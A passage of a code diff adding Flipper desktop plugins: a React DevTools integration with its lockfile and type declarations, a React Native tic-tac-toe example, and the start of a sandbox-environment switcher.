version "1.0.11"
|
||||
resolved "https://registry.yarnpkg.com/pako/-/pako-1.0.11.tgz#6c9599d340d54dfd3946380252a35705a6b992bf"
|
||||
integrity sha512-4hLB8Py4zZce5s4yd9XzopqwVv/yGNhV1Bl8NTmCq1763HeK2+EwVTv+leGeL13Dnh2wfbqowVPXCIO0z4taYw==
|
||||
|
||||
repeat-string@1.6.1:
|
||||
version "1.6.1"
|
||||
resolved "https://registry.yarnpkg.com/repeat-string/-/repeat-string-1.6.1.tgz#8dcae470e1c88abc2d600fff4a776286da75e637"
|
||||
integrity sha1-jcrkcOHIirwtYA//Sndihtp15jc=
|
||||
|
||||
xml-beautifier@^0.4.0:
|
||||
version "0.4.2"
|
||||
resolved "https://registry.yarnpkg.com/xml-beautifier/-/xml-beautifier-0.4.2.tgz#d889df69b46a6ed1ab46fbe022930da83bf40f7c"
|
||||
integrity sha512-LBZ3bLvo3FZIN9nBjxUpi70L1nGDOzTaLQm8eNyi0nyr8uUV2YLg0C2DSihc3OahcgWQoQ83ZTm0RErKuRrJYQ==
|
||||
dependencies:
|
||||
repeat-string "1.6.1"
|
||||
16
desktop/plugins/reactdevtools/get-port.d.tsx
Normal file
16
desktop/plugins/reactdevtools/get-port.d.tsx
Normal file
@@ -0,0 +1,16 @@
|
||||
/**
|
||||
* Copyright (c) Facebook, Inc. and its affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*
|
||||
* @format
|
||||
*/
|
||||
|
||||
declare module 'get-port' {
|
||||
const getPort: (options?: {
|
||||
readonly port?: number;
|
||||
readonly host?: string;
|
||||
}) => Promise<number>;
|
||||
export default getPort;
|
||||
}
|
||||
283
desktop/plugins/reactdevtools/index.tsx
Normal file
283
desktop/plugins/reactdevtools/index.tsx
Normal file
@@ -0,0 +1,283 @@
|
||||
/**
|
||||
* Copyright (c) Facebook, Inc. and its affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*
|
||||
* @format
|
||||
*/
|
||||
|
||||
import ReactDevToolsStandalone from 'react-devtools-core/standalone';
|
||||
import {
|
||||
FlipperDevicePlugin,
|
||||
AndroidDevice,
|
||||
styled,
|
||||
View,
|
||||
MetroDevice,
|
||||
ReduxState,
|
||||
connect,
|
||||
Device,
|
||||
CenteredView,
|
||||
RoundedSection,
|
||||
Text,
|
||||
Button,
|
||||
} from 'flipper';
|
||||
import React, {useEffect} from 'react';
|
||||
import getPort from 'get-port';
|
||||
|
||||
const Container = styled.div({
|
||||
display: 'flex',
|
||||
flex: '1 1 0%',
|
||||
justifyContent: 'center',
|
||||
alignItems: 'stretch',
|
||||
height: '100%',
|
||||
});
|
||||
|
||||
const DEV_TOOLS_NODE_ID = 'reactdevtools-out-of-react-node';
|
||||
|
||||
function createDevToolsNode(): HTMLElement {
|
||||
const div = document.createElement('div');
|
||||
div.id = DEV_TOOLS_NODE_ID;
|
||||
div.style.display = 'none';
|
||||
div.style.width = '100%';
|
||||
div.style.height = '100%';
|
||||
div.style.flex = '1 1 0%';
|
||||
div.style.justifyContent = 'center';
|
||||
div.style.alignItems = 'stretch';
|
||||
|
||||
document.body && document.body.appendChild(div);
|
||||
|
||||
return div;
|
||||
}
|
||||
|
||||
function findDevToolsNode(): HTMLElement | null {
|
||||
return document.querySelector('#' + DEV_TOOLS_NODE_ID);
|
||||
}
|
||||
|
||||
function attachDevTools(target: Element | Text, devToolsNode: HTMLElement) {
|
||||
target.appendChild(devToolsNode);
|
||||
devToolsNode.style.display = 'flex';
|
||||
}
|
||||
|
||||
function detachDevTools(devToolsNode: HTMLElement) {
|
||||
devToolsNode.style.display = 'none';
|
||||
document.body && document.body.appendChild(devToolsNode);
|
||||
}
|
||||
|
||||
const CONNECTED = 'DevTools connected';
|
||||
|
||||
type GrabMetroDeviceStoreProps = {metroDevice: MetroDevice};
|
||||
type GrabMetroDeviceOwnProps = {onHasDevice(device: MetroDevice): void};
|
||||
|
||||
// Utility component to grab the metroDevice from the store if there is one
|
||||
const GrabMetroDevice = connect<
|
||||
GrabMetroDeviceStoreProps,
|
||||
{},
|
||||
GrabMetroDeviceOwnProps,
|
||||
ReduxState
|
||||
>(({connections: {devices}}) => ({
|
||||
metroDevice: devices.find(
|
||||
device => device.os === 'Metro' && !device.isArchived,
|
||||
) as MetroDevice,
|
||||
}))(function({
|
||||
metroDevice,
|
||||
onHasDevice,
|
||||
}: GrabMetroDeviceStoreProps & GrabMetroDeviceOwnProps) {
|
||||
useEffect(() => {
|
||||
onHasDevice(metroDevice);
|
||||
}, [metroDevice]);
|
||||
return null;
|
||||
});
|
||||
|
||||
const SUPPORTED_OCULUS_DEVICE_TYPES = ['quest', 'go', 'pacific'];
|
||||
|
||||
enum ConnectionStatus {
|
||||
Initializing = 'Initializing...',
|
||||
WaitingForReload = 'Waiting for connection from device...',
|
||||
Connected = 'Connected',
|
||||
Error = 'Error',
|
||||
}
|
||||
|
||||
export default class ReactDevTools extends FlipperDevicePlugin<
|
||||
{
|
||||
status: string;
|
||||
},
|
||||
any,
|
||||
{}
|
||||
> {
|
||||
static supportsDevice(device: Device) {
|
||||
return !device.isArchived && device.os === 'Metro';
|
||||
}
|
||||
|
||||
pollHandle?: NodeJS.Timeout;
|
||||
containerRef: React.RefObject<HTMLDivElement> = React.createRef();
|
||||
connectionStatus: ConnectionStatus = ConnectionStatus.Initializing;
|
||||
metroDevice?: MetroDevice;
|
||||
isMounted = true;
|
||||
|
||||
state = {
|
||||
status: 'initializing',
|
||||
};
|
||||
|
||||
componentDidMount() {
|
||||
this.bootDevTools();
|
||||
}
|
||||
|
||||
componentWillUnmount() {
|
||||
this.isMounted = false;
|
||||
if (this.pollHandle) {
|
||||
clearTimeout(this.pollHandle);
|
||||
}
|
||||
const devToolsNode = findDevToolsNode();
|
||||
devToolsNode && detachDevTools(devToolsNode);
|
||||
}
|
||||
|
||||
setStatus(connectionStatus: ConnectionStatus, status: string) {
|
||||
this.connectionStatus = connectionStatus;
|
||||
if (!this.isMounted) {
|
||||
return;
|
||||
}
|
||||
if (status.startsWith('The server is listening on')) {
|
||||
this.setState({status: status + ' Waiting for connection...'});
|
||||
} else {
|
||||
this.setState({status});
|
||||
}
|
||||
}
|
||||
|
||||
devtoolsHaveStarted() {
|
||||
return !!findDevToolsNode()?.innerHTML;
|
||||
}
|
||||
|
||||
bootDevTools() {
|
||||
let devToolsNode = findDevToolsNode();
|
||||
if (!devToolsNode) {
|
||||
devToolsNode = createDevToolsNode();
|
||||
}
|
||||
this.initializeDevTools(devToolsNode);
|
||||
this.setStatus(
|
||||
ConnectionStatus.Initializing,
|
||||
'DevTools have been initialized, waiting for connection...',
|
||||
);
|
||||
if (this.devtoolsHaveStarted()) {
|
||||
this.setStatus(ConnectionStatus.Connected, CONNECTED);
|
||||
} else {
|
||||
this.startPollForConnection();
|
||||
}
|
||||
|
||||
attachDevTools(this.containerRef?.current!, devToolsNode);
|
||||
this.startPollForConnection();
|
||||
}
|
||||
|
||||
startPollForConnection(delay = 3000) {
|
||||
this.pollHandle = setTimeout(() => {
|
||||
switch (true) {
|
||||
// Closed already, ignore
|
||||
case !this.isMounted:
|
||||
return;
|
||||
// Found DevTools!
|
||||
case this.devtoolsHaveStarted():
|
||||
this.setStatus(ConnectionStatus.Connected, CONNECTED);
|
||||
return;
|
||||
// Waiting for connection, but we do have an active Metro connection, lets force a reload to enter Dev Mode on app
|
||||
// prettier-ignore
|
||||
case this.connectionStatus === ConnectionStatus.Initializing && !!this.metroDevice?.ws:
|
||||
this.setStatus(
|
||||
ConnectionStatus.WaitingForReload,
|
||||
"Sending 'reload' to Metro to force the DevTools to connect...",
|
||||
);
|
||||
this.metroDevice!.sendCommand('reload');
|
||||
this.startPollForConnection(10000);
|
||||
return;
|
||||
// Waiting for initial connection, but no WS bridge available
|
||||
case this.connectionStatus === ConnectionStatus.Initializing:
|
||||
this.setStatus(
|
||||
ConnectionStatus.WaitingForReload,
|
||||
"The DevTools didn't connect yet. Please trigger the DevMenu in the React Native app, or Reload it to connect",
|
||||
);
|
||||
this.startPollForConnection(10000);
|
||||
return;
|
||||
// Still nothing? Users might not have done manual action, or some other tools have picked it up?
|
||||
case this.connectionStatus === ConnectionStatus.WaitingForReload:
|
||||
this.setStatus(
|
||||
ConnectionStatus.WaitingForReload,
|
||||
"The DevTools didn't connect yet. Please verify your React Native app is in development mode, and that no other instance of the React DevTools are attached to the app already.",
|
||||
);
|
||||
this.startPollForConnection();
|
||||
return;
|
||||
}
|
||||
}, delay);
|
||||
}
|
||||
|
||||
async initializeDevTools(devToolsNode: HTMLElement) {
|
||||
try {
|
||||
this.setStatus(ConnectionStatus.Initializing, 'Waiting for port 8097');
|
||||
const port = await getPort({port: 8097}); // default port for dev tools
|
||||
this.setStatus(
|
||||
ConnectionStatus.Initializing,
|
||||
'Starting DevTools server on ' + port,
|
||||
);
|
||||
ReactDevToolsStandalone.setContentDOMNode(devToolsNode)
|
||||
.setStatusListener(status => {
|
||||
this.setStatus(ConnectionStatus.Initializing, status);
|
||||
})
|
||||
.startServer(port);
|
||||
this.setStatus(ConnectionStatus.Initializing, 'Waiting for device');
|
||||
const device = this.device;
|
||||
|
||||
if (device) {
|
||||
if (
|
||||
device.deviceType === 'physical' ||
|
||||
SUPPORTED_OCULUS_DEVICE_TYPES.includes(device.title.toLowerCase())
|
||||
) {
|
||||
this.setStatus(
|
||||
ConnectionStatus.Initializing,
|
||||
`Setting up reverse port mapping: ${port}:${port}`,
|
||||
);
|
||||
(device as AndroidDevice).reverse([port, port]);
|
||||
}
|
||||
}
|
||||
} catch (e) {
|
||||
console.error(e);
|
||||
this.setStatus(
|
||||
ConnectionStatus.Error,
|
||||
'Failed to initialize DevTools: ' + e,
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
render() {
|
||||
return (
|
||||
<View grow>
|
||||
{!this.devtoolsHaveStarted() ? this.renderStatus() : null}
|
||||
<Container ref={this.containerRef} />
|
||||
<GrabMetroDevice
|
||||
onHasDevice={device => {
|
||||
this.metroDevice = device;
|
||||
}}
|
||||
/>
|
||||
</View>
|
||||
);
|
||||
}
|
||||
|
||||
renderStatus() {
|
||||
return (
|
||||
<CenteredView>
|
||||
<RoundedSection title={this.connectionStatus}>
|
||||
<Text>{this.state.status}</Text>
|
||||
{(this.connectionStatus === ConnectionStatus.WaitingForReload &&
|
||||
this.metroDevice?.ws) ||
|
||||
this.connectionStatus === ConnectionStatus.Error ? (
|
||||
<Button
|
||||
style={{width: 200, margin: '10px auto 0 auto'}}
|
||||
onClick={() => {
|
||||
this.metroDevice?.sendCommand('reload');
|
||||
this.bootDevTools();
|
||||
}}>
|
||||
Retry
|
||||
</Button>
|
||||
) : null}
|
||||
</RoundedSection>
|
||||
</CenteredView>
|
||||
);
|
||||
}
|
||||
}
|
||||
18
desktop/plugins/reactdevtools/package.json
Normal file
18
desktop/plugins/reactdevtools/package.json
Normal file
@@ -0,0 +1,18 @@
|
||||
{
|
||||
"name": "React",
|
||||
"version": "1.0.1",
|
||||
"main": "index.tsx",
|
||||
"license": "MIT",
|
||||
"keywords": ["flipper-plugin"],
|
||||
"dependencies": {
|
||||
"address": "^1.1.2",
|
||||
"get-port": "^5.0.0",
|
||||
"react-devtools-core": "^4.0.6"
|
||||
},
|
||||
"title": "React DevTools",
|
||||
"icon": "app-react",
|
||||
"bugs": {
|
||||
"email": "danielbuechele@fb.com"
|
||||
},
|
||||
"devDependencies": {}
|
||||
}
|
||||
18
desktop/plugins/reactdevtools/react-devtools-core.d.tsx
Normal file
18
desktop/plugins/reactdevtools/react-devtools-core.d.tsx
Normal file
@@ -0,0 +1,18 @@
|
||||
/**
|
||||
* Copyright (c) Facebook, Inc. and its affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*
|
||||
* @format
|
||||
*/
|
||||
|
||||
declare module 'react-devtools-core/standalone' {
|
||||
interface DevTools {
|
||||
setContentDOMNode(node: HTMLElement): this;
|
||||
startServer(port: number): this;
|
||||
setStatusListener(listener: (message: string) => void): this;
|
||||
}
|
||||
const DevTools: DevTools;
|
||||
export default DevTools;
|
||||
}
|
||||
110
desktop/plugins/reactdevtools/yarn.lock
Normal file
110
desktop/plugins/reactdevtools/yarn.lock
Normal file
@@ -0,0 +1,110 @@
|
||||
# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY.
|
||||
# yarn lockfile v1
|
||||
|
||||
|
||||
address@^1.1.2:
|
||||
version "1.1.2"
|
||||
resolved "https://registry.yarnpkg.com/address/-/address-1.1.2.tgz#bf1116c9c758c51b7a933d296b72c221ed9428b6"
|
||||
integrity sha512-aT6camzM4xEA54YVJYSqxz1kv4IHnQZRtThJJHhUMRExaU5spC7jX5ugSwTaTgJliIgs4VhZOk7htClvQ/LmRA==
|
||||
|
||||
array-filter@~0.0.0:
|
||||
version "0.0.1"
|
||||
resolved "https://registry.yarnpkg.com/array-filter/-/array-filter-0.0.1.tgz#7da8cf2e26628ed732803581fd21f67cacd2eeec"
|
||||
|
||||
array-map@~0.0.0:
|
||||
version "0.0.0"
|
||||
resolved "https://registry.yarnpkg.com/array-map/-/array-map-0.0.0.tgz#88a2bab73d1cf7bcd5c1b118a003f66f665fa662"
|
||||
|
||||
array-reduce@~0.0.0:
|
||||
version "0.0.0"
|
||||
resolved "https://registry.yarnpkg.com/array-reduce/-/array-reduce-0.0.0.tgz#173899d3ffd1c7d9383e4479525dbe278cab5f2b"
|
||||
|
||||
async-limiter@^1.0.0:
|
||||
version "1.0.0"
|
||||
resolved "https://registry.yarnpkg.com/async-limiter/-/async-limiter-1.0.0.tgz#78faed8c3d074ab81f22b4e985d79e8738f720f8"
|
||||
integrity sha512-jp/uFnooOiO+L211eZOoSyzpOITMXx1rBITauYykG3BRYPu8h0UcxsPNB04RR5vo4Tyz3+ay17tR6JVf9qzYWg==
|
||||
|
||||
d@1:
|
||||
version "1.0.1"
|
||||
resolved "https://registry.yarnpkg.com/d/-/d-1.0.1.tgz#8698095372d58dbee346ffd0c7093f99f8f9eb5a"
|
||||
integrity sha512-m62ShEObQ39CfralilEQRjH6oAMtNCV1xJyEx5LpRYUVN+EviphDgUc/F3hnYbADmkiNs67Y+3ylmlG7Lnu+FA==
|
||||
dependencies:
|
||||
es5-ext "^0.10.50"
|
||||
type "^1.0.1"
|
||||
|
||||
es5-ext@^0.10.35, es5-ext@^0.10.50, es5-ext@~0.10.14:
|
||||
version "0.10.50"
|
||||
resolved "https://registry.yarnpkg.com/es5-ext/-/es5-ext-0.10.50.tgz#6d0e23a0abdb27018e5ac4fd09b412bc5517a778"
|
||||
integrity sha512-KMzZTPBkeQV/JcSQhI5/z6d9VWJ3EnQ194USTUwIYZ2ZbpN8+SGXQKt1h68EX44+qt+Fzr8DO17vnxrw7c3agw==
|
||||
dependencies:
|
||||
es6-iterator "~2.0.3"
|
||||
es6-symbol "~3.1.1"
|
||||
next-tick "^1.0.0"
|
||||
|
||||
es6-iterator@~2.0.3:
|
||||
version "2.0.3"
|
||||
resolved "https://registry.yarnpkg.com/es6-iterator/-/es6-iterator-2.0.3.tgz#a7de889141a05a94b0854403b2d0a0fbfa98f3b7"
|
||||
integrity sha1-p96IkUGgWpSwhUQDstCg+/qY87c=
|
||||
dependencies:
|
||||
d "1"
|
||||
es5-ext "^0.10.35"
|
||||
es6-symbol "^3.1.1"
|
||||
|
||||
es6-symbol@^3, es6-symbol@^3.1.1, es6-symbol@~3.1.1:
|
||||
version "3.1.1"
|
||||
resolved "https://registry.yarnpkg.com/es6-symbol/-/es6-symbol-3.1.1.tgz#bf00ef4fdab6ba1b46ecb7b629b4c7ed5715cc77"
|
||||
integrity sha1-vwDvT9q2uhtG7Le2KbTH7VcVzHc=
|
||||
dependencies:
|
||||
d "1"
|
||||
es5-ext "~0.10.14"
|
||||
|
||||
get-port@^5.0.0:
|
||||
version "5.0.0"
|
||||
resolved "https://registry.yarnpkg.com/get-port/-/get-port-5.0.0.tgz#aa22b6b86fd926dd7884de3e23332c9f70c031a6"
|
||||
integrity sha512-imzMU0FjsZqNa6BqOjbbW6w5BivHIuQKopjpPqcnx0AVHJQKCxK1O+Ab3OrVXhrekqfVMjwA9ZYu062R+KcIsQ==
|
||||
dependencies:
|
||||
type-fest "^0.3.0"
|
||||
|
||||
jsonify@~0.0.0:
|
||||
version "0.0.0"
|
||||
resolved "https://registry.yarnpkg.com/jsonify/-/jsonify-0.0.0.tgz#2c74b6ee41d93ca51b7b5aaee8f503631d252a73"
|
||||
|
||||
next-tick@^1.0.0:
|
||||
version "1.0.0"
|
||||
resolved "https://registry.yarnpkg.com/next-tick/-/next-tick-1.0.0.tgz#ca86d1fe8828169b0120208e3dc8424b9db8342c"
|
||||
integrity sha1-yobR/ogoFpsBICCOPchCS524NCw=
|
||||
|
||||
react-devtools-core@^4.0.6:
|
||||
version "4.0.6"
|
||||
resolved "https://registry.yarnpkg.com/react-devtools-core/-/react-devtools-core-4.0.6.tgz#681c7349db618856d6df7d31a6a49edee9d9e428"
|
||||
integrity sha512-IhAndVGmV74Bio1BRrlbsonH6bX3XFHgz2uixJFlNjg/Rm264mBveIMwM6+rV3yObSKVnggXRMtJuyWoPk2Smw==
|
||||
dependencies:
|
||||
es6-symbol "^3"
|
||||
shell-quote "^1.6.1"
|
||||
ws "^7"
|
||||
|
||||
shell-quote@^1.6.1:
|
||||
version "1.6.1"
|
||||
resolved "https://registry.yarnpkg.com/shell-quote/-/shell-quote-1.6.1.tgz#f4781949cce402697127430ea3b3c5476f481767"
|
||||
dependencies:
|
||||
array-filter "~0.0.0"
|
||||
array-map "~0.0.0"
|
||||
array-reduce "~0.0.0"
|
||||
jsonify "~0.0.0"
|
||||
|
||||
type-fest@^0.3.0:
|
||||
version "0.3.1"
|
||||
resolved "https://registry.yarnpkg.com/type-fest/-/type-fest-0.3.1.tgz#63d00d204e059474fe5e1b7c011112bbd1dc29e1"
|
||||
integrity sha512-cUGJnCdr4STbePCgqNFbpVNCepa+kAVohJs1sLhxzdH+gnEoOd8VhbYa7pD3zZYGiURWM2xzEII3fQcRizDkYQ==
|
||||
|
||||
type@^1.0.1:
|
||||
version "1.0.3"
|
||||
resolved "https://registry.yarnpkg.com/type/-/type-1.0.3.tgz#16f5d39f27a2d28d86e48f8981859e9d3296c179"
|
||||
integrity sha512-51IMtNfVcee8+9GJvj0spSuFcZHe9vSib6Xtgsny1Km9ugyz2mbS08I3rsUIRYgJohFRFU1160sgRodYz378Hg==
|
||||
|
||||
ws@^7:
|
||||
version "7.1.1"
|
||||
resolved "https://registry.yarnpkg.com/ws/-/ws-7.1.1.tgz#f9942dc868b6dffb72c14fd8f2ba05f77a4d5983"
|
||||
integrity sha512-o41D/WmDeca0BqYhsr3nJzQyg9NF5X8l/UdnFNux9cS3lwB+swm8qGWX5rn+aD6xfBU3rGmtHij7g7x6LxFU3A==
|
||||
dependencies:
|
||||
async-limiter "^1.0.0"
|
||||
190
desktop/plugins/rn-tic-tac-toe/index.tsx
Normal file
190
desktop/plugins/rn-tic-tac-toe/index.tsx
Normal file
@@ -0,0 +1,190 @@
|
||||
/**
|
||||
* Copyright (c) Facebook, Inc. and its affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*
|
||||
* @format
|
||||
*/
|
||||
|
||||
import React from 'react';
|
||||
import {
|
||||
FlipperPlugin,
|
||||
RoundedSection,
|
||||
Button,
|
||||
produce,
|
||||
CenteredView,
|
||||
Info,
|
||||
colors,
|
||||
styled,
|
||||
FlexRow,
|
||||
Text,
|
||||
brandColors,
|
||||
} from 'flipper';
|
||||
import {Draft} from 'immer';
|
||||
|
||||
type Player = ' ' | 'X' | 'O';
|
||||
|
||||
type State = {
|
||||
cells: readonly [
|
||||
Player,
|
||||
Player,
|
||||
Player,
|
||||
Player,
|
||||
Player,
|
||||
Player,
|
||||
Player,
|
||||
Player,
|
||||
Player,
|
||||
];
|
||||
winner: Player;
|
||||
turn: 'X' | 'O';
|
||||
};
|
||||
|
||||
function initialState(): State {
|
||||
return {
|
||||
// Cells
|
||||
// 0 1 2
|
||||
// 3 4 5
|
||||
// 6 7 8
|
||||
cells: [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '] as const,
|
||||
turn: Math.random() < 0.5 ? 'O' : 'X',
|
||||
winner: ' ',
|
||||
} as const;
|
||||
}
|
||||
|
||||
const computeNextState = produce(
|
||||
(draft: Draft<State>, cell: number, player: 'X' | 'O') => {
|
||||
draft.cells[cell] = player;
|
||||
draft.turn = player === 'X' ? 'O' : 'X';
|
||||
draft.winner = computeWinner(draft.cells);
|
||||
},
|
||||
);
|
||||
|
||||
function computeWinner(c: State['cells']): Player {
|
||||
// check the 2 diagonals
|
||||
if ((c[0] === c[4] && c[0] === c[8]) || (c[2] === c[4] && c[2] === c[6])) {
|
||||
return c[4];
|
||||
}
|
||||
for (let i = 0; i < 3; i++) {
|
||||
// check vertical
|
||||
if (c[i] === c[3 + i] && c[i] === c[6 + i]) {
|
||||
return c[i];
|
||||
}
|
||||
// check horizontal
|
||||
if (c[i * 3] === c[i * 3 + 1] && c[i * 3] === c[i * 3 + 2]) {
|
||||
return c[i * 3];
|
||||
}
|
||||
}
|
||||
return ' ';
|
||||
}
|
||||
|
||||
export default class ReactNativeTicTacToe extends FlipperPlugin<
|
||||
State,
|
||||
any,
|
||||
any
|
||||
> {
|
||||
state = initialState();
|
||||
|
||||
componentDidMount() {
|
||||
this.client.subscribe('XMove', ({move}: {move: number}) => {
|
||||
this.makeMove('X', move);
|
||||
});
|
||||
this.client.subscribe('GetState', () => {
|
||||
this.sendUpdate();
|
||||
});
|
||||
this.sendUpdate();
|
||||
}
|
||||
|
||||
makeMove(player: 'X' | 'O', move: number) {
|
||||
if (this.state.turn === player && this.state.cells[move] === ' ') {
|
||||
this.setState(computeNextState(this.state, move, player), () =>
|
||||
this.sendUpdate(),
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
sendUpdate() {
|
||||
this.client.call('SetState', this.state);
|
||||
}
|
||||
|
||||
handleCellClick(move: number) {
|
||||
this.makeMove('O', move);
|
||||
}
|
||||
|
||||
handleReset() {
|
||||
this.setState(initialState(), () => this.sendUpdate());
|
||||
}
|
||||
|
||||
render() {
|
||||
const {winner, turn, cells} = this.state;
|
||||
return (
|
||||
<CenteredView>
|
||||
<RoundedSection title="React Native Tic-Tac-Toe">
|
||||
<Info type="info">
|
||||
This plugin demonstrates how to create pure JavaScript Flipper
|
||||
plugins for React Native. Find out how to create a similar plugin at{' '}
|
||||
<a
|
||||
href="https://fbflipper.com/docs/tutorial/intro.html"
|
||||
target="blank">
|
||||
fbflipper.com
|
||||
</a>
|
||||
.
|
||||
</Info>
|
||||
<Container>
|
||||
<Text size={24}>Flipper Tic-Tac-Toe</Text>
|
||||
<br />
|
||||
<br />
|
||||
<Text size={18}>
|
||||
{winner !== ' '
|
||||
? `Winner! ${winner}`
|
||||
: turn === 'O'
|
||||
? 'Your turn'
|
||||
: 'Mobile players turn..'}
|
||||
</Text>
|
||||
<GameBoard>
|
||||
{cells.map((c, idx) => (
|
||||
<Cell
|
||||
key={idx}
|
||||
disabled={c !== ' ' || turn != 'O' || winner !== ' '}
|
||||
onClick={() => this.handleCellClick(idx)}>
|
||||
{c}
|
||||
</Cell>
|
||||
))}
|
||||
</GameBoard>
|
||||
<Button onClick={() => this.handleReset()}>Start new game</Button>
|
||||
</Container>
|
||||
</RoundedSection>
|
||||
</CenteredView>
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
const Container = styled('div')({
|
||||
border: `4px solid ${brandColors.Flipper}`,
|
||||
borderRadius: 4,
|
||||
padding: 20,
|
||||
marginTop: 20,
|
||||
});
|
||||
|
||||
const GameBoard = styled(FlexRow)({
|
||||
flexWrap: 'wrap',
|
||||
justifyContent: 'space-between',
|
||||
marginTop: 20,
|
||||
marginBottom: 20,
|
||||
});
|
||||
|
||||
const Cell = styled('button')({
|
||||
padding: 20,
|
||||
height: 80,
|
||||
minWidth: 80,
|
||||
fontSize: 24,
|
||||
margin: 20,
|
||||
flex: 0,
|
||||
borderRadius: 4,
|
||||
backgroundColor: colors.highlight,
|
||||
color: 'white',
|
||||
':disabled': {
|
||||
backgroundColor: colors.greyTint2,
|
||||
},
|
||||
});
|
||||
13
desktop/plugins/rn-tic-tac-toe/package.json
Normal file
13
desktop/plugins/rn-tic-tac-toe/package.json
Normal file
@@ -0,0 +1,13 @@
|
||||
{
|
||||
"name": "ReactNativeTicTacToe",
|
||||
"version": "1.0.0",
|
||||
"main": "index.tsx",
|
||||
"license": "MIT",
|
||||
"keywords": ["flipper-plugin"],
|
||||
"icon": "apps",
|
||||
"title": "React Native Tic Tac Toe",
|
||||
"category": "Examples",
|
||||
"bugs": {
|
||||
"email": "mweststrate@fb.com"
|
||||
}
|
||||
}
|
||||
4
desktop/plugins/rn-tic-tac-toe/yarn.lock
Normal file
4
desktop/plugins/rn-tic-tac-toe/yarn.lock
Normal file
@@ -0,0 +1,4 @@
|
||||
# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY.
|
||||
# yarn lockfile v1
|
||||
|
||||
|
||||
139
desktop/plugins/sandbox/index.tsx
Normal file
139
desktop/plugins/sandbox/index.tsx
Normal file
@@ -0,0 +1,139 @@
|
||||
/**
|
||||
* Copyright (c) Facebook, Inc. and its affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*
|
||||
* @format
|
||||
*/
|
||||
|
||||
import {FlipperPlugin} from 'flipper';
|
||||
import {FlexColumn} from 'flipper';
|
||||
import {ButtonGroup, Button, styled, colors} from 'flipper';
|
||||
import React, {ChangeEvent} from 'react';
|
||||
|
||||
export type Sandbox = {
|
||||
name: string;
|
||||
value: string;
|
||||
};
|
||||
|
||||
type SandboxState = {
|
||||
sandboxes: Array<Sandbox>;
|
||||
customSandbox: string;
|
||||
showFeedback: boolean;
|
||||
};
|
||||
|
||||
const BigButton = styled(Button)({
|
||||
flexGrow: 1,
|
||||
fontSize: 24,
|
||||
padding: 20,
|
||||
});
|
||||
|
||||
const ButtonContainer = styled(FlexColumn)({
|
||||
alignItems: 'center',
|
||||
padding: 20,
|
||||
});
|
||||
|
||||
export default class SandboxView extends FlipperPlugin<
|
||||
SandboxState,
|
||||
any,
|
||||
unknown
|
||||
> {
|
||||
state: SandboxState = {
|
||||
sandboxes: [],
|
||||
customSandbox: '',
|
||||
showFeedback: false,
|
||||
};
|
||||
|
||||
static TextInput = styled.input({
|
||||
border: `1px solid ${colors.light10}`,
|
||||
fontSize: '1em',
|
||||
padding: '0 5px',
|
||||
borderRight: 0,
|
||||
borderTopLeftRadius: 4,
|
||||
borderBottomLeftRadius: 4,
|
||||
flexGrow: 1,
|
||||
});
|
||||
|
||||
static FeedbackMessage = styled.span({
|
||||
fontSize: '1.2em',
|
||||
paddingTop: '10px',
|
||||
color: 'green',
|
||||
});
|
||||
|
||||
static TextInputLayout = styled(FlexColumn)({
|
||||
float: 'left',
|
||||
justifyContent: 'center',
|
||||
flexGrow: 1,
|
||||
borderRadius: 4,
|
||||
marginRight: 15,
|
||||
marginTop: 15,
|
||||
marginLeft: 15,
|
||||
});
|
||||
|
||||
init() {
|
||||
this.client.call('getSandbox', {}).then((results: Array<Sandbox>) => {
|
||||
this.dispatchAction({results, type: 'UpdateSandboxes'});
|
||||
});
|
||||
}
|
||||
|
||||
onSendSandboxEnvironment = (sandbox: string) => {
|
||||
this.client
|
||||
.call('setSandbox', {
|
||||
sandbox: sandbox,
|
||||
})
|
||||
.then((result: {result: boolean}) => {
|
||||
setTimeout(() => {
|
||||
this.setState({showFeedback: false});
|
||||
}, 3000);
|
||||
this.setState({showFeedback: result.result});
|
||||
});
|
||||
};
|
||||
|
||||
onChangeSandbox = (e: ChangeEvent<HTMLInputElement>) => {
|
||||
this.setState({customSandbox: e.target.value});
|
||||
};
|
||||
|
||||
render() {
|
||||
return (
|
||||
<FlexColumn>
|
||||
<SandboxView.TextInputLayout>
|
||||
<ButtonGroup>
|
||||
<SandboxView.TextInput
|
||||
type="text"
|
||||
placeholder="Sandbox URL (e.g. unixname.sb.facebook.com)"
|
||||
key="sandbox-url"
|
||||
onChange={this.onChangeSandbox}
|
||||
onKeyPress={event => {
|
||||
if (event.key === 'Enter') {
|
||||
this.onSendSandboxEnvironment(this.state.customSandbox);
|
||||
}
|
||||
}}
|
||||
/>
|
||||
<Button
|
||||
key="sandbox-send"
|
||||
icon="download"
|
||||
onClick={() =>
|
||||
this.onSendSandboxEnvironment(this.state.customSandbox)
|
||||
}
|
||||
disabled={this.state.customSandbox == null}
|
||||
/>
|
||||
</ButtonGroup>
|
||||
<SandboxView.FeedbackMessage
|
||||
hidden={this.state.showFeedback == false}>
|
||||
Success!
|
||||
</SandboxView.FeedbackMessage>
|
||||
</SandboxView.TextInputLayout>
|
||||
{this.state.sandboxes.map(sandbox => (
|
||||
<ButtonContainer>
|
||||
<BigButton
|
||||
key={sandbox.value}
|
||||
onClick={() => this.onSendSandboxEnvironment(sandbox.value)}>
|
||||
{sandbox.name}
|
||||
</BigButton>
|
||||
</ButtonContainer>
|
||||
))}
|
||||
</FlexColumn>
|
||||
);
|
||||
}
|
||||
}
|
||||
12
desktop/plugins/sandbox/package.json
Normal file
12
desktop/plugins/sandbox/package.json
Normal file
@@ -0,0 +1,12 @@
|
||||
{
|
||||
